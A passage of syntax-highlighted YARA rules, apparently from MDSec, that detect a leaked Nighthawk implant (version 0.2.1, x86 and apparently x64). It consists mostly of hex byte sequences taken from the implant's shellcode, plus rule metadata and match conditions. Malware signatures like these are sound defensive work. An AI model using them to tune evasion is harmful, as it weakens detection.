               <span class="nx">$nh_shellcode_sequence_52</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">24</span> <span class="mi">48</span> <span class="nx">E8</span> <span class="nx">F7</span> <span class="mi">14</span> <span class="nx">F9</span> <span class="nx">FF</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F8</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">15</span> <span class="nx">D9</span> <span class="mi">4</span><span class="nx">A</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">40</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="nx">A9</span> <span class="mi">1</span><span class="nx">D</span> <span class="nx">F9</span> <span class="nx">FF</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D0</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_53</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C8</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">FE</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">3</span><span class="nx">C</span> <span class="nx">B0</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C8</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C6</span> <span class="mi">33</span> <span class="nx">D2</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">16</span> <span class="nx">B0</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_54</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C6</span> <span class="mi">33</span> <span class="nx">D2</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="nx">B4</span> <span class="nx">EF</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">50</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">6</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">58</span> <span class="mi">66</span> <span class="mi">44</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">40</span> <span class="mi">41</span> <span class="nx">B8</span> <span class="mi">20</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_55</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">83</span> <span class="nx">E9</span> <span class="mi">01</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">84</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">83</span> <span class="nx">E9</span> <span class="mi">01</span> <span class="mi">74</span> <span class="mi">59</span> <span class="mi">83</span> <span class="nx">E9</span> <span class="mi">01</span> <span class="mi">74</span> <span class="mi">27</span> <span class="mi">83</span> <span class="nx">F9</span> <span class="mi">01</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">85</span> <span class="mi">84</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">B9</span> <span class="mi">10</span> <span class="mi">01</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_56</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">20</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="nx">BF</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CB</span> <span class="nx">E8</span> <span class="mi">25</span> <span class="nx">F9</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">44</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">E8</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">7</span><span class="nx">D</span> <span class="nx">EF</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">84</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_57</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">31</span> <span class="mi">00</span> <span class="mi">2</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">32</span> <span class="mi">00</span> <span class="mi">2</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">32</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">61</span> <span class="mi">00</span> <span class="mi">70</span> <span class="mi">00</span> <span class="mi">69</span> <span class="mi">00</span> <span class="mi">2</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">6</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">73</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_58</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">43</span> <span class="mi">10</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">B</span> <span class="mi">28</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">20</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">68</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">54</span> <span class="mi">24</span> <span class="mi">34</span> <span class="nx">E8</span> <span class="mi">3</span><span class="nx">A</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="nx">C7</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_59</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">70</span> <span class="mi">54</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">80</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">80</span> <span class="mi">54</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">80</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">88</span> <span class="mi">54</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">80</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">98</span> <span class="mi">54</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">80</span> <span class="mi">01</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_62</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">D</span> <span class="mi">48</span> <span class="mi">33</span> <span class="nx">D2</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="nx">E8</span> <span class="mi">49</span> <span class="nx">FD</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">7</span><span class="nx">D</span> <span class="mi">40</span> <span class="mi">41</span> <span class="nx">B8</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">55</span> <span class="mi">48</span> <span class="mi">49</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="nx">E8</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_63</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">B9</span> <span class="mi">89</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">89</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="mi">6</span><span class="nx">C</span> <span class="nx">AB</span> <span class="mi">10</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">89</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="mi">17</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="mi">6</span><span class="nx">C</span> <span class="nx">AB</span> <span class="mi">10</span> <span class="mi">00</span> <span class="mi">17</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="mi">46</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_64</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">B</span> <span class="mi">48</span> <span class="mi">85</span> <span class="nx">C9</span> <span class="mi">74</span> <span class="mi">05</span> <span class="nx">E8</span> <span class="nx">BC</span> <span class="nx">F8</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">B</span> <span class="mi">10</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">6</span><span class="nx">B</span> <span class="mi">18</span> <span class="mi">66</span> <span class="mi">89</span> <span class="mi">3</span><span class="nx">B</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">30</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">6</span><span class="nx">C</span> <span class="mi">24</span> <span class="p">}</span>
        <span class="nl">condition</span><span class="p">:</span>
        <span class="mi">12</span> <span class="k">of </span><span class="p">(</span><span class="nx">$nh_shellcode_sequence</span><span class="o">*</span><span class="p">)</span>
<span class="p">}</span>
 
<span class="k">import</span> <span class="dl">"</span><span class="s2">pe</span><span class="dl">"</span>
 
<span class="nx">rule</span> <span class="nx">leaked_nighthawk_0_2_1_x86</span> <span class="p">{</span>
    <span class="nl">meta</span><span class="p">:</span>
        <span class="nx">author</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">MDSec Consulting Ltd</span><span class="dl">"</span>
        <span class="nx">id</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">eb9c0a18-8f92-4326-b42b-9050c32ef7dc</span><span class="dl">"</span>
        <span class="nx">creation_date</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">2025-01-09</span><span class="dl">"</span>
        <span class="nx">last_modified</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">2025-01-09</span><span class="dl">"</span>
        <span class="nx">reference_sample</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">ed2a3e937467e6420c368a6d9a204eb116e59a2522ada747b42294540afb4972</span><span class="dl">"</span>
        <span class="nx">threat_name</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Nighthawk.Leaked.0-2-1</span><span class="dl">"</span>
        <span class="nx">severity</span> <span class="o">=</span> <span class="mi">100</span>
        <span class="nx">arch_context</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">x86</span><span class="dl">"</span>
        <span class="nx">scan_context</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">file, memory</span><span class="dl">"</span>
        <span class="nx">os</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">windows</span><span class="dl">"</span>
    <span class="nx">strings</span><span class="p">:</span>
               <span class="nx">$nh_shellcode_sequence_1</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">93</span> <span class="nx">B0</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">64</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">E8</span> <span class="nx">D5</span> <span class="mi">9</span><span class="nx">D</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">59</span> <span class="mi">83</span> <span class="mi">78</span> <span class="mi">14</span> <span class="mi">08</span> <span class="mi">72</span> <span class="mi">02</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">98</span> <span class="mi">51</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_4</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">32</span> <span class="nx">FB</span> <span class="mi">32</span> <span class="mi">1</span><span class="nx">C</span> <span class="mi">33</span> <span class="mi">36</span> <span class="mi">33</span> <span class="mi">3</span><span class="nx">D</span> <span class="mi">33</span> <span class="mi">54</span> <span class="mi">33</span> <span class="mi">58</span> <span class="mi">33</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">33</span> <span class="mi">60</span> <span class="mi">33</span> <span class="mi">64</span> <span class="mi">33</span> <span class="mi">68</span> <span class="mi">33</span> <span class="mi">6</span><span class="nx">C</span> <span class="mi">33</span> <span class="mi">70</span> <span class="mi">33</span> <span class="mi">74</span> <span class="mi">33</span> <span class="mi">78</span> <span class="mi">33</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">33</span> <span class="mi">80</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_6</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FF</span> <span class="mi">74</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">55</span> <span class="nx">F8</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CB</span> <span class="nx">E8</span> <span class="nx">FD</span> <span class="nx">F5</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C6</span> <span class="mi">5</span><span class="nx">F</span> <span class="mi">5</span><span class="nx">E</span> <span class="mi">5</span><span class="nx">B</span> <span class="nx">C9</span> <span class="nx">C3</span> <span class="mi">55</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">EC</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">0</span><span class="nx">C</span> <span class="nx">B9</span> <span class="mi">46</span> <span class="nx">A3</span> <span class="nx">C8</span> <span class="nx">D8</span> <span class="mi">53</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_7</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">E8</span> <span class="nx">E9</span> <span class="nx">FB</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">81</span> <span class="mi">47</span> <span class="mi">04</span> <span class="mi">94</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">EB</span> <span class="mi">08</span> <span class="mi">50</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="nx">E8</span> <span class="mi">27</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">83</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">20</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_8</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">08</span> <span class="mi">03</span> <span class="nx">D0</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">FC</span> <span class="mi">40</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="mi">45</span> <span class="nx">FC</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B6</span> <span class="mi">00</span> <span class="nx">D3</span> <span class="nx">E0</span> <span class="mi">03</span> <span class="nx">D0</span> <span class="mi">83</span> <span class="nx">C7</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">E4</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">D4</span> <span class="mi">23</span> <span class="nx">C2</span> <span class="mi">8</span><span class="nx">B</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_9</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">43</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="nx">E8</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">89</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="mi">18</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="nx">D4</span> <span class="nx">E8</span> <span class="nx">E1</span> <span class="nx">FA</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="mi">1</span><span class="nx">C</span> <span class="nx">E9</span> <span class="mi">2</span><span class="nx">F</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">89</span> <span class="mi">65</span> <span class="nx">D8</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_10</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">68</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="nx">B0</span> <span class="mi">8</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="nx">D8</span> <span class="nx">A5</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">03</span> <span class="mi">75</span> <span class="nx">F4</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">86</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">10</span> <span class="mi">00</span> <span class="mi">50</span> <span class="mi">57</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_11</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">DC</span> <span class="nx">F7</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">9</span><span class="nx">C</span> <span class="nx">E9</span> <span class="nx">A8</span> <span class="nx">DD</span> <span class="nx">F7</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="nx">E0</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">E9</span> <span class="mi">8</span><span class="nx">E</span> <span class="nx">A7</span> <span class="nx">F7</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">E4</span> <span class="nx">E9</span> <span class="mi">25</span> <span class="nx">DA</span> <span class="nx">F7</span> <span class="nx">FF</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_12</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">57</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">B8</span> <span class="mi">04</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">5</span><span class="nx">A</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">C8</span> <span class="mi">04</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">65</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">D8</span> <span class="mi">04</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">6</span><span class="nx">B</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">04</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_13</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">56</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">85</span> <span class="nx">D2</span> <span class="mi">74</span> <span class="mi">4</span><span class="nx">B</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">A</span> <span class="mi">04</span> <span class="mi">01</span> <span class="mi">89</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">E0</span> <span class="mi">75</span> <span class="mi">42</span> <span class="nx">FF</span> <span class="mi">76</span> <span class="mi">10</span> <span class="nx">B9</span> <span class="nx">B8</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="nx">E8</span> <span class="mi">02</span> <span class="nx">A5</span> <span class="nx">FB</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">E</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_14</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">19</span> <span class="mi">41</span> <span class="mi">83</span> <span class="nx">E8</span> <span class="mi">01</span> <span class="mi">75</span> <span class="nx">F8</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">F8</span> <span class="mi">51</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">74</span> <span class="nx">A2</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">39</span> <span class="mi">5</span><span class="nx">D</span> <span class="nx">FC</span> <span class="mi">74</span> <span class="mi">22</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="nx">FC</span> <span class="nx">E8</span> <span class="nx">CB</span> <span class="nx">A1</span> <span class="mi">03</span> <span class="mi">00</span> <span class="mi">59</span> <span class="mi">8</span><span class="nx">B</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_15</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">C3</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">83</span> <span class="nx">EF</span> <span class="mi">04</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C7</span> <span class="mi">83</span> <span class="nx">E0</span> <span class="nx">FC</span> <span class="mi">83</span> <span class="nx">F8</span> <span class="mi">08</span> <span class="mi">7</span><span class="nx">D</span> <span class="nx">CA</span> <span class="nx">EB</span> <span class="mi">5</span><span class="nx">B</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">03</span> <span class="mi">89</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">14</span> <span class="mi">89</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">18</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_16</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FF</span> <span class="nx">E8</span> <span class="nx">AA</span> <span class="mi">3</span><span class="nx">C</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">75</span> <span class="mi">27</span> <span class="mi">6</span><span class="nx">A</span> <span class="nx">FE</span> <span class="nx">E8</span> <span class="mi">5</span><span class="nx">F</span> <span class="mi">41</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">75</span> <span class="mi">1</span><span class="nx">C</span> <span class="mi">68</span> <span class="nx">A0</span> <span class="mi">19</span> <span class="mi">00</span> <span class="mi">10</span> <span class="mi">68</span> <span class="mi">50</span> <span class="mi">6</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="nx">E8</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_18</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">A2</span> <span class="nx">A9</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">18</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">85</span> <span class="mi">54</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F4</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">18</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CC</span> <span class="mi">50</span> <span class="nx">E8</span> <span class="mi">4</span><span class="nx">E</span> <span class="nx">A5</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="nx">E8</span> <span class="mi">9</span><span class="nx">D</span> <span class="nx">FE</span> <span class="mi">01</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_20</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">88</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">27</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">33</span> <span class="mi">27</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">66</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">A8</span> <span class="nx">BA</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">64</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_21</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">E4</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">EC</span> <span class="mi">03</span> <span class="nx">C6</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">35</span> <span class="nx">B8</span> <span class="mi">84</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">D8</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="nx">E0</span> <span class="mi">50</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">40</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="nx">DC</span> <span class="mi">50</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_22</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">E5</span> <span class="mi">6</span><span class="nx">E</span> <span class="mi">07</span> <span class="mi">10</span> <span class="mi">09</span> <span class="mi">6</span><span class="nx">F</span> <span class="mi">07</span> <span class="mi">10</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">D0</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FE</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_23</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">F8</span> <span class="mi">05</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">04</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">04</span> <span class="mi">06</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">07</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">10</span> <span class="mi">06</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">09</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">1</span><span class="nx">C</span> <span class="mi">06</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">10</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
